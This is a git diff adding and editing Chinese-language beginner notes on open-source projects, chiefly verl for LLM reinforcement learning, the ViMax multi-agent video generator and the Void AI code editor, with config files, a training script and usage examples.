+2. **Numba**：把关键循环即时编译成 C 代码，不用你写 C
+3. **Rust**（可选）：对最核心的路径用 Rust 预编译，连 JIT 编译的时间都省了
+
+## 进阶方向
+
+掌握基础后，你可以继续探索：
+
+- **Portfolio 回测**：支持现金管理、手续费、杠杆等复杂场景
+- **信号工具**：生成、排序、映射交易信号
+- **Walk-forward 优化**：滚动窗口做稳健性测试
+- **Plotly 可视化**：生成交互式图表和仪表盘
+- **ML 集成**：生成标签用于机器学习模型训练
+
+## 学习资源
+
+- 官方文档：https://vectorbt.dev/
+- GitHub：https://github.com/polakowo/vectorbt
+- Colab 在线体验：https://colab.research.google.com/drive/1ibqyrf6LPFlzRb6mkPpl3hxqL6ryNBXI?usp=sharing
+- 示例应用（K 线形态研究）：https://github.com/polakowo/vectorbt/tree/master/apps/candlestick-patterns
diff --git a/src/content/docs/projects/velero.md b/src/content/docs/projects/velero.md
index 88cbee55a..c69fb5040 100644
--- a/src/content/docs/projects/velero.md
+++ b/src/content/docs/projects/velero.md
@@ -2,7 +2,7 @@
 title: Velero — Kubernetes 集群备份与迁移
 来源: https://github.com/vmware-tanzu/velero
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/vercel-ai.md b/src/content/docs/projects/vercel-ai.md
index ef8b21149..3ab7bbc0c 100644
--- a/src/content/docs/projects/vercel-ai.md
+++ b/src/content/docs/projects/vercel-ai.md
@@ -2,7 +2,7 @@
 title: Vercel AI SDK — 多 LLM Provider 统一 SDK
 来源: https://github.com/vercel/ai
 日期: 2026-05-29
-子分类: AI
+子分类: frontend-web
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
@@ -170,7 +170,7 @@ function Chat() {
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[react]] —— React UI 组件库
 - [[zod]] —— Zod — TypeScript-first schema 验证
 
diff --git a/src/content/docs/projects/verl-volcengine.md b/src/content/docs/projects/verl-volcengine.md
new file mode 100644
index 000000000..275493d84
--- /dev/null
+++ b/src/content/docs/projects/verl-volcengine.md
@@ -0,0 +1,190 @@
+---
+title: "verl: Volcano Engine RL for LLMs"
+来源: https://github.com/volcengine/verl
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# verl: Volcano Engine RL for LLMs
+
+## 日常类比：教小孩做数学题
+
+想象你在教一个小孩做数学题。小孩一开始什么也不会，随便猜答案。每答完一题，你告诉他"对"或"错"，还可能给出分数。小孩听到高分答案多猜，低分答案少猜，慢慢就越答越对了。
+
+这个"试错 → 得到反馈 → 调整策略 → 再试"的过程，就是**强化学习（Reinforcement Learning, RL）**的核心。
+
+而 **verl**（Volcano Engine Reinforcement Learning for LLMs）就是一个专门用来对大语言模型做这种"奖励驱动训练"的工具库。它能让 GPT 级别的模型通过强化学习变得更强——比如更会做数学题、更会写代码。
+
+## 它是什么
+
+verl 是一个灵活、高效、可用于生产的**大模型强化学习训练框架**。它原本是字节跳动 Seed 团队的内部框架 HybridFlow，后来开源了。
+
+简单说：你有一个预训练好的大模型（比如 Qwen、Llama），verl 帮你对它做 RLHF（Reinforcement Learning from Human Feedback），让模型在特定任务上表现更好。
+
+## 核心概念
+
+### 1. Actor（执行者）
+
+Actor 就是那个"正在学习的大模型"。它负责尝试生成答案，然后根据反馈调整自己的生成策略。
+
+### 2. Critic（批评者）
+
+Critic 是一个独立的模型，它的任务是给 Actor 的回答打分。它不是只看"对或错"，而是从多个维度（比如流畅度、逻辑性）来评估。
+
+### 3. Reference Model（参考模型）
+
+Reference 是 Actor 训练前的"原始版本"。它的作用是防止 Actor"跑偏"——训练过程中如果 Actor 偏离原始模型太远，Reference 就把它拉回来。
+
+### 4. Rollout（ rollout = 实际跑一遍）
+
+Rollout 是让 Actor 面对新的题目，生成答案的过程。生成的答案会被送去评估，拿到分数后，Actor 再根据分数调整自己。
+
+### 5. HybridEngine（混合引擎）
+
+这是 verl 最核心的技术创新。传统方法中，模型在"训练"和"生成"之间切换时要反复搬运数据，非常慢。HybridEngine 让这两个阶段共享 GPU 内存，大幅减少了切换开销。
+
+类比：传统方法像是厨师炒菜——每炒一道菜就要洗一次锅；HybridEngine 像是厨房流水线——锅不用洗，连续炒，效率翻倍。
+
+## 支持的 RL 算法
+
+verl 支持多种 RL 算法，常见的有：
+
+- **PPO**（Proximal Policy Optimization）：最经典的 RLHF 算法，稳定但计算量大
+- **GRPO**（Group Relative Policy Optimization）：DeepSeek 提出的简化版 PPO，不需要 Critic 模型，更快更省显存
+- **DAPO**：SOTA 算法，在数学推理上表现优异
+- **ReMax**、**REINFORCE++**、**RLOO** 等
+
+## 代码示例
+
+### 示例 1：用命令行运行 GRPO 训练
+
+verl 的设计哲学是"配置驱动"。你看下面的 shell 脚本，不需要写 Python 代码就能启动训练：
+
+```bash
+# GRPO | Qwen3-4B | FSDP 分布式训练 | NVIDIA GPU
+
+# 基本参数
+MODEL_PATH=Qwen/Qwen3-4B
+TRAIN_FILE=/home/data/gsm8k/train.parquet
+TRAIN_BATCH_SIZE=512          # 每个批次 512 道题
+ROLLOUT_N=5                   # 每道题让模型生成 5 个答案
+TOTAL_EPOCHS=15               # 训练 15 轮
+
+python3 -m verl.trainer.main_ppo \
+    data.train_files=${TRAIN_FILE} \
+    data.train_batch_size=${TRAIN_BATCH_SIZE} \
+    data.max_prompt_length=1024 \
+    data.max_response_length=1024 \
+    \
+    actor_rollout_ref.model.path=${MODEL_PATH} \
+    actor_rollout_ref.model.enable_gradient_checkpointing=True \
+    \
+    algorithm.adv_estimator=grpo \
+    algorithm.use_kl_in_reward=False \
+    \
+    actor_rollout_ref.actor.optim.lr=1e-6 \
+    actor_rollout_ref.actor.ppo_mini_batch_size=256 \
+    actor_rollout_ref.actor.ppo_micro_batch_size_per_gpu=2 \
+    actor_rollout_ref.actor.use_kl_loss=True \
+    actor_rollout_ref.actor.kl_loss_coef=0.001 \
+    \
+    actor_rollout_ref.rollout.name=vllm \
+    actor_rollout_ref.rollout.tensor_model_parallel_size=2 \
+    actor_rollout_ref.rollout.gpu_memory_utilization=0.6 \
+    actor_rollout_ref.rollout.n=5 \
+    \
+    trainer.n_gpus_per_node=8 \
+    trainer.total_epochs=${TOTAL_EPOCHS} \
+    trainer.logger='["console","wandb"]'
+```
+
+这段命令做的事情：
+1. 加载 Qwen3-4B 模型
+2. 从 gsm8k（小学数学题数据集）读取训练数据
+3. 用 GRPO 算法，每个题目生成 5 个答案，选最好的那个来更新模型
+4. 用 vLLM 做高速推理，用 FSDP 做分布式训练
+5. 训练 15 轮，每轮 512 道题
+
+### 示例 2：定义自定义奖励函数
+
+verl 让你自己写"评分标准"。比如你要训练模型写代码，你可以这样定义奖励：
+
+```python
+from typing import List, Dict
+import re
+
+def custom_reward_fn(
+    prompts: List[str],
+    completions: List[str],
+    responses: List[str],
+    **kwargs
+) -> List[float]:
+    """
+    自定义奖励函数：给模型生成的代码打分。
+    分数 = 格式正确 + 10 + 有注释 + 5 + 通过了测试 + 20
+    """
+    rewards = []
+
+    for prompt, completion in zip(prompts, completions):
+        score = 0.0
+
+        # 检查格式：是否包含 code block
+        if re.search(r"```.*?\n.*?```", completion, re.DOTALL):
+            score += 10.0
+
+        # 检查是否有中文注释
+        if re.search(r"#[^\n]*[一二三四五六七八九十]", completion):
+            score += 5.0
+
+        # 代码长度惩罚：太短可能没写完，太长可能啰嗦
+        code_length = len(completion.split())
+        if 50 <= code_length <= 500:
+            score += 5.0
+        elif code_length < 50:
+            score -= 3.0
+
+        rewards.append(score)
+
+    return rewards
+```
+
+这个奖励函数让模型学会：写代码要包在 code block 里、加注释、别太短别太长。
+
+## 为什么 verl 快
+
+verl 的核心速度优势来自几项技术：
+
+| 技术 | 解决的问题 |
+|------|-----------|
+| **3D-HybridEngine** | 训练/生成切换时不用搬数据，省时间 |
+| **FSDP / FSDP2 后端** | 把模型切到多张卡上训练，显存够用 |
+| **vLLM / SGLang 推理** | 用业界最快的推理引擎做 rollout |
+| **Megatron-LM 支持** | 训练千亿级模型也能跑 |
+| **LoRA RL** | 只训练小参数适配器，省 80% 显存 |
+
+实际数据：verl 能在 64 张 H800 上训练 671B 参数的大模型（比如 DeepSeek-V3），这在业界是非常少见的。
+
+## 实际产出
+
+用 verl 训练出来的模型已经有很多成果：
+
+- **豆包 Doubao 1.5 Pro**：数学推理达到 OpenAI O1 级别（AIME 2024 得分 70.0）
+- **Seed-Thinking v1.5**：AIME 2024 得分 86.7
+- **DAPO-32B**：超越 DeepSeek-GRPO，AIME 2024 得分 50
+- **Mind Lab**：在 10 张 GPU 上训练万亿参数推理模型的 GRPO-LoRA
+
+## 下一步学习建议
+
+1. 先读官方教程：https://verl.readthedocs.io/en/latest/start/quickstart.html
+2. 跑通 GSM8K 数学题 GRPO 训练（入门最简单）
+3. 尝试写自己的奖励函数（进阶）
+4. 读 HybridFlow 论文：https://arxiv.org/abs/2409.19256
+
+## 参考资料
+
+- GitHub: https://github.com/volcengine/verl
+- 论文: HybridFlow: A Flexible and Efficient RLHF Framework (EuroSys 2025)
+- 官方文档: https://verl.readthedocs.io/
+- 算法仓库: https://github.com/verl-project/verl-recipe
diff --git a/src/content/docs/projects/vimax.md b/src/content/docs/projects/vimax.md
new file mode 100644
index 000000000..dff894531
--- /dev/null
+++ b/src/content/docs/projects/vimax.md
@@ -0,0 +1,273 @@
+---
+title: ViMax — 从"一个想法"到完整视频的 AI 导演团队
+来源: https://github.com/HKUDS/ViMax
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# ViMax — 从"一个想法"到完整视频的 AI 导演团队
+
+## 一、从日常类比开始
+
+想象你要拍一部微电影。传统方式下，你需要：
+
+- **编剧**写剧本
+- **分镜师**画分镜
+- **美术**设计角色和场景
+- **摄影**安排镜头
+- **剪辑**把素材拼成片子
+
+每一个环节都要人盯人，角色穿什么、场景在哪、上一场戏的对话怎么接到下一场，全靠人工协调。
+
+**ViMax 做的事情，就是把这一整个团队"装进一个 AI 系统里"。**
+
+你只需要给它一句话，比如："一只猫和一只狗是最好的朋友，它们遇到新猫时会发生什么？"，ViMax 就会自动完成：
+
+1. 写故事剧本（编剧 Agent）
+2. 设计分镜和镜头（分镜 Agent）
+3. 生成角色参考图（美术 Agent）
+4. 生成每一帧画面（画面生成 Agent）
+5. 检查角色和场景是否一致（质检 Agent）
+6. 拼成完整视频（导演 Agent）
+
+整个过程像流水线一样，每个环节都有专门的 Agent 负责，它们之间会互相沟通、互相检查。
+
+---
+
+## 二、核心概念
+
+### 2.1 多 Agent 协作框架
+
+ViMax 的核心思想是 **多 Agent 协作**。它不是用一个模型做所有事情，而是把任务拆成多个角色，每个角色用一个专门的 Agent 来做：
+
+- **Director（导演 Agent）**：统筹全局，决定拍什么、怎么拍
+- **Screenwriter（编剧 Agent）**：根据想法写剧本
+- **Producer（制片 Agent）**：管理参考图、资源、一致性
+- **Video Generator（视频生成 Agent）**：把画面变成视频
+
+这些 Agent 通过一个 **中央协调器（Central Orchestration）** 来沟通，决定谁在什么时候做什么。
+
+### 2.2 端到端视频生成流程
+
+ViMax 的输入可以是一个简单的想法（Idea），也可以是一个已有的剧本（Script），甚至可以是一本小说（Novel）。输出是完整的视频。
+
+流程大致是：
+
+```
+输入（想法/剧本/小说）
+  → 脚本生成（长脚本）
+    → 分镜设计（Storyboard）
+      → 参考图选择（Reference Images）
+        → 画面生成（Image Generation）
+          → 一致性检查（Consistency Check）
+            → 视频生成（Video Generation）
+              → 输出完整视频
+```
+
+### 2.3 关键创新点
+
+- **RAG（检索增强生成）**：处理长剧本时，用 RAG 保证故事的连贯性
+- **依赖感知的一致性机制**：跟踪角色和环境在不同场景之间的状态
+- **VLM 指导的质检**：用视觉语言模型检查生成的画面是否合理
+- **并行处理**：同一镜头的多个画面可以并行生成，提高效率
+
+---
+
+## 三、代码示例
+
+### 3.1 从想法生成视频（Idea2Video）
+
+这是最简单的使用方式。你只需要提供一个想法和风格要求：
+
+```python
+# main_idea2video.py
+
+idea = """
+If a cat and a dog are best friends, what would happen when they meet a new cat?
+"""
+
+user_requirement = """
+For children, do not exceed 3 scenes.
+"""
+
+style = "Cartoon"
+```
+
+配置信息写在 `configs/idea2video.yaml` 里：
+
+```yaml
+chat_model:
+  init_args:
+    model: google/gemini-2.5-flash-lite-preview-09-2025
+    model_provider: openai
+    api_key: <YOUR_API_KEY>
+    base_url: https://openrouter.ai/api/v1
+
+image_generator:
+  class_path: tools.ImageGeneratorNanobananaGoogleAPI
+  init_args:
+    api_key: <YOUR_API_KEY>
+
+video_generator:
+  class_path: tools.VideoGeneratorVeoGoogleAPI
+  init_args:
+    api_key: <YOUR_API_KEY>
+
+working_dir: .working_dir/idea2video
+```
+
+运行：
+
+```bash
+uv run python main_idea2video.py
+```
+
+ViMax 就会自动走完整个流程：编剧 → 分镜 → 画面 → 视频。
+
+### 3.2 从已有脚本生成视频（Script2Video）
+
+如果你已经有剧本了，可以用 Script2Video：
+
+```python
+# main_script2video.py
+
+script = """
+EXT. SCHOOL GYM - DAY
+A group of students are practicing basketball in the gym.
+John (18, male, tall, athletic) is the star player.
+Jane (17, female, short, athletic) is the assistant coach.
+
+John: (dribbling) I'm going to score a basket!
+Jane: (smiling) Good job, John!
+John: (shooting) Yes!
+"""
+
+user_requirement = """
+Fast-paced with no more than 20 shots.
+"""
+
+style = "Animate Style"
+```
+
+运行：
+
+```bash
+uv run python main_script2video.py
+```
+
+### 3.3 交互式 TUI（文本界面）
+
+ViMax 还提供了交互式的命令行界面，你可以逐步指导 Agent 工作：
+
+```bash
+# 启动 TUI
+vimax tui
+
+# 开始新对话
+vimax tui new
+
+# 恢复上次对话
+vimax tui resume
+
+# 恢复指定会话
+vimax tui resume <session_id>
+```
+
+TUI 的配置在 `configs/agent.local.yaml`：
+
+```yaml
+llm:
+  model_provider: openai
+  model: <YOUR_LLM_MODEL>
+  base_url: <YOUR_LLM_BASE_URL>
+  api_key: <YOUR_API_KEY>
+
+image:
+  model: <YOUR_IMAGE_MODEL>
+  base_url: <YOUR_IMAGE_BASE_URL>
+  api_key: <YOUR_API_KEY>
+
+video:
+  model: <YOUR_VIDEO_MODEL>
+  base_url: <YOUR_VIDEO_BASE_URL>
+  api_key: <YOUR_API_KEY>
+```
+
+---
+
+## 四、系统架构概览
+
+ViMax 的系统可以分成四层：
+
+```
+┌─────────────────────────────────────────┐
+│         输入层 (Input Layer)             │
+│  想法 / 剧本 / 小说 / 参考图 / 风格指令  │
+├─────────────────────────────────────────┤
+│      中央协调器 (Orchestration)          │
+│  任务调度 / 阶段切换 / 资源管理 / 重试   │
+├─────────────────────────────────────────┤
+│         Agent 工作层                     │
+│  脚本理解 → 分镜设计 → 资产管理 → 生成   │
+│  一致性检查 → 视频合成                    │
+├─────────────────────────────────────────┤
+│         输出层 (Output Layer)            │
+│  画面 / 视频片段 / 日志 / 工作目录文件   │
+└─────────────────────────────────────────┘
+```
+
+关键组件说明：
+
+| 组件 | 作用 |
+|---|---|
+| 脚本理解 | 提取角色、环境、场景边界、风格意图 |
+| 分镜设计 | 根据目标生成镜头列表和关键帧 |
+| 资产管理 | 选择和管理参考图，建立索引 |
+| 一致性机制 | 跨场景跟踪角色和环境状态 |
+| 画面生成 | 根据参考图和提示词自动生成画面 |
+| VLM 质检 | 用视觉语言模型检查画面质量 |
+| 并行生成 | 同一镜头的多画面并行处理 |
+
+---
+
+## 五、四种使用模式
+
+ViMax 提供了四种不同的使用方式，覆盖从创意到成品的完整链条：
+
+**Idea2Video（想法→视频）**：输入一个简单想法，自动完成整个创作流程。适合快速原型。
+
+**Novel2Video（小说→视频）**：输入一本小说，自动提取叙事线索，生成剧集式视频。适合文学改编。
+
+**Script2Video（剧本→视频）**：输入已有剧本，按需生成视频。适合有明确创作意图的场景。
+
+**AutoCameo（自拍客串）**：上传自己的照片，把自己变成视频中的角色。适合创作互动式个人视频。
+
+---
+
+## 六、技术栈
+
+- **语言**：Python 3.12+，使用 uv 管理环境
+- **许可证**：MIT
+- **论文**：arXiv:2606.07649 (2026-06-02)
+- **作者**：Lingxuan Huang, Sizhe He, Hengji Zhou, Liqiang Nie, Lianghao Xia, Chao Huang（香港大学数据科学实验室）
+- **依赖**：LLM API（OpenAI / Google Gemini 等）、图像生成 API、视频生成 API
+
+---
+
+## 七、总结
+
+ViMax 的核心贡献在于：**把视频创作的复杂性从"人工协调"变成了"Agent 自动协作"**。
+
+它不追求用一个大模型搞定一切，而是承认视频创作包含多个专业环节，每个环节由专门的 Agent 处理，再通过中央协调器统一管理。这种设计让系统能够处理长视频、保持角色一致性、并且可以灵活替换各个环节的模型。
+
+对于初学者来说，理解 ViMax 的关键是记住一句话：**它不是一个视频生成模型，而是一个指挥多个 AI 模型一起拍视频的"导演系统"。**
+
+---
+
+## 思考题
+
+1. ViMax 的多 Agent 架构和直接用一个大模型生成视频，各有什么优缺点？
+2. 为什么 ViMax 要用 RAG（检索增强生成）来处理长剧本？
+3. 角色一致性检查在视频生成中为什么难？ViMax 是怎么解决的？
diff --git a/src/content/docs/projects/visx.md b/src/content/docs/projects/visx.md
index 9e262cb38..320a18447 100644
--- a/src/content/docs/projects/visx.md
+++ b/src/content/docs/projects/visx.md
@@ -162,6 +162,7 @@ Zoom 内部用 transformMatrix state（scaleX / scaleY / translateX / translateY
 
 - [[apexcharts]] —— ApexCharts — 自带响应式与注解的 SVG 图表库
 - [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
+- [[deck-gl]] —— deck.gl — Uber 大规模数据可视化
 - [[echarts]] —— Apache ECharts — 给一个 JSON 就能画图的可视化库
 - [[gsap]] —— GSAP — GreenSock 高性能动画
 - [[observable-plot]] —— Observable Plot — 你说想看哪两列的关系，库自己画图
diff --git a/src/content/docs/projects/vllm.md b/src/content/docs/projects/vllm.md
index 57c0ab77c..6ae1e83a7 100644
--- a/src/content/docs/projects/vllm.md
+++ b/src/content/docs/projects/vllm.md
@@ -2,7 +2,7 @@
 title: vLLM — 高吞吐 LLM 推理引擎
 来源: https://github.com/vllm-project/vllm
 日期: 2026-05-29
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
@@ -163,6 +163,7 @@ A100 80GB 单卡跑 Llama-7B：稳定 200+ tokens/s 的总输出速率（多请
 - [[smoothquant-2023]] —— SmoothQuant 2023 — 把激活的烫手山芋扔给权重
 - [[specinfer-2023]] —— SpecInfer — 让大模型一次"猜一棵树"再并行验证
 - [[tensorrt-llm-2023]] —— TensorRT-LLM — NVIDIA 把 FT 升级成可调度的官方推理栈
+- [[tensorrt-llm-overview]] —— TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记
 - [[transformers-video]] —— Transformers Video — HuggingFace 视频处理器与多模态输入管线
 - [[triton-2019]] —— Triton 2019 — 让 Python 写出贴近 cuBLAS 的 GPU kernel
 - [[triton-inference-server]] —— Triton Inference Server — NVIDIA 多框架推理服务化标杆
diff --git a/src/content/docs/projects/void.md b/src/content/docs/projects/void.md
new file mode 100644
index 000000000..3e8f1a298
--- /dev/null
+++ b/src/content/docs/projects/void.md
@@ -0,0 +1,318 @@
+---
+title: Void — 开源 Cursor 替代
+来源: https://github.com/voideditor/void
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：自己选供应商的「改装版 VS Code」
+
+想象你有一辆很顺手的轿车（[[vscode]]），原厂加装了一套导航语音助手，但所有语音都要先经过厂商云端转录，路线偏好和对话记录也留在他们服务器上。有一天你换了一套**开源改装方案**：外壳还是那辆车——座椅、方向盘、扩展槽位全兼容——但语音模块改成**直连**你信任的供应商：OpenAI、Anthropic、本机 Ollama，或公司内网的兼容接口。你说的话和代码上下文**不经过中间商**；不满意 AI 改过的文件，还能像游戏存档一样**一键回滚到改之前**。
+
+**Void 就是这辆「改装版 VS Code」。** 它是 [voideditor/void](https://github.com/voideditor/void) 仓库里的完整 IDE 源码（VS Code fork，Apache 2.0），由 YC 支持的 Glass Devtools 团队发起，定位是开源、透明的 [[cursor]] 替代。AI 能力不是外挂扩展，而是**写进编辑器内核**：Tab 补全、行内 Quick Edit（`Ctrl+K`）、侧边栏 Chat（`Ctrl+L`）、Agent / Gather 多步代理、LLM 改动 Checkpoint、MCP 工具接入等。官网：[voideditor.com](https://voideditor.com)。
+
+> **重要现状（2026）**：官方 README 声明已**暂停**对本 IDE 仓库的主动维护，转向探索新方向；现有版本仍可运行，但部分功能可能随上游 API 变化而退化。选型时应把它当作「功能完整、更新放缓」的工具，而非快速迭代的商业 IDE。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：Cursor / Copilot 的数据路径不透明
+
+商业 AI IDE 往往把你的 prompt 和代码片段经自有后端转发。Void 的设计原则是 **direct-to-provider**：请求从你本机直接打到所选 LLM 服务商，Void 不保留对话数据。适合对合规、内网部署、可审计链路有要求的团队。
+
+### 痛点 2：想保留 VS Code 生态，又要 Agent 级能力
+
+Void 是 **VS Code 完整 fork**，不是扩展拼装。主题、快捷键、`settings.json`、Marketplace 扩展、集成终端、Git、Remote SSH/WSL 等继承自上游。官方提供**一键迁移** VS Code / Cursor 配置，降低切换成本。
+
+### 痛点 3：模型选择被单一厂商绑定
+
+Void 支持 **Bring Your Own Key / Own Model**：OpenAI、Anthropic、Google、xAI、OpenRouter、DeepSeek、Qwen、Azure，以及本机 **Ollama**、vLLM 等。可为 Chat、Agent、Autocomplete、Quick Edit **分别指定不同模型**，在成本与质量之间拆开优化。
+
+### 痛点 4：AI 改坏了难以撤销
+
+Void 为 LLM 驱动的编辑维护 **Checkpoints（检查点）**：每次 AI 批量改动前可存档，改崩了从时间线回滚，而不必依赖 `git stash` 猜哪一步出错。这与 [[cline]] 的 checkpoint 理念相近，但集成在独立 IDE 而非扩展里。
+
+### 痛点 5：开源模型缺少原生 tool calling
+
+许多本地模型不支持 OpenAI 式 function calling。Void 在 changelog 中强调升级了 **tool-calling 实现**，使 R1、Gemma、GPT 4.1 等在 Agent / Gather 模式下也能跑多步工具流——这对「全本地 Agent」很关键。
+
+---
+
+## 核心概念拆解
+
+### 1. VS Code Fork，而非扩展
+
+Void 修改的是 `vscode` 本体。AI 相关代码主要集中在：
+
+```text
+src/vs/workbench/contrib/void/
+```
+
+这意味着补全、diff 预览、流式输出与编辑器生命周期深度耦合，延迟和 UI 一致性通常优于「编辑器 + 侧边栏插件」方案。代价是：**安装包体积大、自编译门槛高**（需 Node 20.18.2、平台原生构建链，见 `HOW_TO_CONTRIBUTE.md`）。
+
+### 2. 四种交互形态
+
+| 形态 | 快捷键 / 入口 | 做什么 |
+|------|----------------|--------|
+| **Tab Autocomplete** | `Tab` 接受建议 | FIM（Fill-in-the-Middle）补全，适合专用代码补全模型 |
+| **Quick Edit** | `Ctrl+K` / `Cmd+K` | 选中代码 → 自然语言 → 行内 diff 应用 |
+| **Chat** | `Ctrl+L` / `Cmd+L` | 对话、@ 文件/文件夹、建议改哪些文件 |
+| **Agent / Gather** | Chat 面板切换模式 | Agent 可读写文件、终端、MCP；Gather **只读**探索仓库 |
+
+**Gather Mode** 像「只带眼睛不带手的实习生」：能搜索、读文件、梳理依赖，**不能**改磁盘或跑破坏性命令——适合刚进陌生 monorepo 时摸底。
+
+**Agent Mode** 则具备写文件、删文件、开终端（含后台持久终端）、调用 MCP 等能力，并可在编辑后尝试 **自动修 lint**。
+
+### 3. Fast Apply 与 Search/Replace 块
+
+早期 Apply 较慢；后续版本用 **Search/Replace 块**直接落地补丁，并对上千行文件优化 **Fast Apply**。在设置里可开 **auto-approve** 减少逐步确认，但新手建议先手动审查 diff。
+
+### 4. Checkpoints
+
+对 LLM 引起的工作区变更打检查点。与 Git 互补：Git 记录你认可的提交；Checkpoint 记录「某次 prompt 之前」的 IDE 状态，粒度更细，适合反复试 prompt。
+
+### 5. FIM 与模型能力自动探测
+
+Tab 补全走 **FIM API**（中间填空），不是把整文件塞进 chat completion。Void 会探测模型是否支持 FIM、tools、reasoning，并在设置里提示。本地实验推荐 `qwen2.5-coder` 等 coder 系列小模型做补全。
+
+### 6. @file / @folder 上下文
+
+在 Chat 输入框用 `@` 引用文件或目录，把路径与内容注入上下文（类似 Cursor 的 @ 语法）。Agent 结合 `@src/api/` 可缩小搜索范围，节省 token。
+
+### 7. MCP（Model Context Protocol）
+
+changelog 记载已支持 MCP，Agent 可挂外部工具（数据库、GitHub、搜索等）。与 [[cline]] 的 MCP Marketplace 不同，Void 侧更偏原生集成，具体服务器需在 Void 设置中按 MCP 规范配置。
+
+### 8. 提供商与设置页
+
+Void 有独立 **Void Settings** 面板（与 VS Code 通用设置并存），按厂商分 tab 填 API Key、Base URL、模型列表。Ollama 默认探测 `http://127.0.0.1:11434`；局域网带鉴权的 Ollama 可改用 **OpenAI-Compatible** 提供商填地址和 Key。
+
+### 9. 与 Cline、Aider、Cursor 的定位
+
+| 维度 | Void | [[cline]] | [[aider]] | Cursor |
+|------|------|-----------|-----------|--------|
+| 形态 | 独立 IDE（VS Code fork） | VS Code 扩展 | 终端 CLI | 商业 IDE |
+| 数据路径 | 直连提供商 | BYOK，经扩展 | BYOK | 经 Cursor 后端 |
+| 开源 | Apache 2.0 | Apache 2.0 | Apache 2.0 | 闭源 |
+| 本地模型 | Ollama 原生 | Ollama 等 | 多种 | 有限 |
+| 维护状态 | 暂停主动开发 | 活跃 | 活跃 | 活跃 |
+
+可组合使用：日常在 Void 里写代码 + Agent，终端用 [[aider]] 做 Git 原子提交，或在 [[vscode]] 里装 Cline 做审批式多步任务。
+
+### 10. 构建与分发
+
+- **用户**：从 [voideditor.com](https://voideditor.com) 下载安装包（macOS / Windows / Linux）。
+- **开发者**：`git clone` → `npm install` → `Cmd/Ctrl+Shift+B` 编译 → `./scripts/code.sh` 进 Developer Mode。
+- **定制发行版**：维护者用 [void-builder](https://github.com/voideditor/void-builder)（VSCodium 系 pipeline）打正式包；自维护 fork 需自行跟进 VS Code 上游 rebase。
+
+---
+
+## 安装与首次配置
+
+### 下载安装
+
+1. 打开 [voideditor.com](https://voideditor.com) 下载对应平台安装包。
+2. 首次启动可走 **Onboarding**：选择提供商（如 OpenRouter、Gemini）、填入 API Key、选默认 Chat 模型。
+3. 若从 VS Code / Cursor 迁移，使用内置 **一键导入** 主题、键位、`settings.json`（具体入口随版本在欢迎页或设置中）。
+
+### 本机 Ollama 快速路径
+
+```bash
+# 安装 Ollama 后拉取模型
+ollama pull qwen2.5-coder:7b
+ollama pull deepseek-r1:8b
+
+# 确认服务监听
+curl http://127.0.0.1:11434/api/tags
+```
+
+在 Void Settings → **Ollama** 点 **Refresh Models**，为 Chat / Agent / Autocomplete 分别选中模型。若列表为空，检查防火墙与 Ollama 是否已 `ollama serve`。
+
+---
+
+## 代码示例 1：Void Settings 多模型分工
+
+下面是一份概念性的 `settings.json` 片段（键名随版本可能略有差异，以设置 UI 导出为准），演示 **Chat 用强模型、补全用小模型、Agent 用支持 tools 的模型**：
+
+```json
+{
+  "void.provider.chat": "anthropic",
+  "void.anthropic.apiKey": "${env:ANTHROPIC_API_KEY}",
+  "void.anthropic.model": "claude-sonnet-4-20250514",
+
+  "void.provider.agent": "openai",
+  "void.openai.apiKey": "${env:OPENAI_API_KEY}",
+  "void.openai.model": "gpt-4o",
+
+  "void.autocomplete.provider": "ollama",
+  "void.ollama.providerSettings": {
+    "baseURL": "http://127.0.0.1:11434"
+  },
+  "void.ollama.model": "qwen2.5-coder:7b",
+
+  "void.featureOptions": {
+    "autoApprove": false,
+    "fastApply": true
+  }
+}
+```
+
+**练习步骤：**
+
+1. 用环境变量注入 Key，避免明文进 Git。
+2. 打开 `Ctrl+L`，发一条只读问题确认 Chat 模型连通。
+3. 切 **Gather**，`@package.json` 问「本项目有哪些 npm scripts」——应只回答、不改文件。
+4. 在 `.ts` 文件里停顿打字，观察 Tab 补全是否来自 Ollama coder 模型。
+
+---
+
+## 代码示例 2：Quick Edit（Ctrl+K）改函数
+
+假设 `src/math.ts` 中有：
+
+```typescript
+export function add(a: number, b: number) {
+  return a + b;
+}
+```
+
+1. 选中整个 `add` 函数。
+2. 按 `Ctrl+K`（macOS：`Cmd+K`）。
+3. 输入 prompt：
+
+```text
+改为支持可变参数求和；参数为空时返回 0；保留 TypeScript 类型并加 JSDoc。
+```
+
+4. Void 在行内流式显示 diff；满意则 Accept，不满意 Reject 或继续追问。
+5. 若启用了 Checkpoint，可在改动前存档，便于对比 AI 版本与手写版本。
+
+**期望结果示意：**
+
+```typescript
+/**
+ * 对任意个数字求和；无参数时返回 0。
+ */
+export function add(...nums: number[]): number {
+  return nums.reduce((sum, n) => sum + n, 0);
+}
+```
+
+---
+
+## 代码示例 3：Agent Mode 小任务与终端
+
+场景：在空目录的 Node 项目里初始化 `GET /health`。
+
+在 Chat（`Ctrl+L`）切换到 **Agent**，输入：
+
+```text
+@package.json
+如果还没有 package.json 就初始化一个最小 TypeScript 项目。
+然后创建 src/server.ts，用原生 http 监听 3000，提供 GET /health 返回 JSON：
+{ "status": "ok", "uptime": <秒数> }。
+写完用 node 或 tsx 运行并 curl 验证。有 lint 报错请自行修复。
+```
+
+Agent 典型步骤（需按提示批准，除非开启 auto-approve）：
+
+```text
+[Tool] write_file package.json
+[Tool] write_file src/server.ts
+[Tool] run_terminal npm install -D typescript tsx @types/node
+[Tool] run_terminal npx tsx src/server.ts
